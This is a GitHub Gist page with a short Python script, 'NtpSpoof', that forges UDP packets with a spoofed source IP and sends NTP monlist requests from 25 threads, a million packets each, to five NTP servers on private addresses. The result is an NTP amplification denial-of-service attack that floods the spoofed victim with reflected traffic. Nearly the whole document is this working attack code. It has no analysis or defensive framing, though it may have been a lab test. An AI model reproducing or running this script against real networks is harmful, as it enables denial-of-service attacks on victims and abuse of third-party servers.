Last active
January 4, 2016 17:39
-
-
Save vahe-evoyan/8655040 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import socket | |
| from impacket import ImpactPacket | |
| import threading | |
| import time | |
| class NtpSpoof(threading.Thread): | |
| def __init__(self, name, sport, dip): | |
| super(NtpSpoof, self).__init__() | |
| self.name = name | |
| self.sport = sport | |
| self.dip = dip | |
| def run(self): | |
| print self.name, 'on local port %d' % self.sport, | |
| print 'to %s' % self.dip | |
| # src = '192.168.3.176' | |
| src = '192.168.3.20' | |
| s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) | |
| s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) | |
| ip = ImpactPacket.IP() | |
| ip.set_ip_src(src) | |
| ip.set_ip_dst(self.dip) | |
| udp = ImpactPacket.UDP() | |
| udp.set_uh_sport(self.sport) | |
| udp.set_uh_dport(123) | |
| udp.contains(ImpactPacket.Data( | |
| str("\x17\x00\x03\x2a") + str("\x00")*4 | |
| )) | |
| ip.contains(udp) | |
| for i in range(1000000): | |
| s.sendto(ip.get_packet(), (self.dip, 0)) | |
| threads = [] | |
| servers = ( | |
| '192.168.3.85', | |
| '192.168.3.21', | |
| '192.168.3.22', | |
| '192.168.3.23', | |
| '192.168.3.24', | |
| ) | |
| for i in range(25): | |
| thread = NtpSpoof('Thread %d' % i, 68, servers[i/5]) | |
| thread.start() | |
| threads.append(thread) | |
| for thread in threads: | |
| thread.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment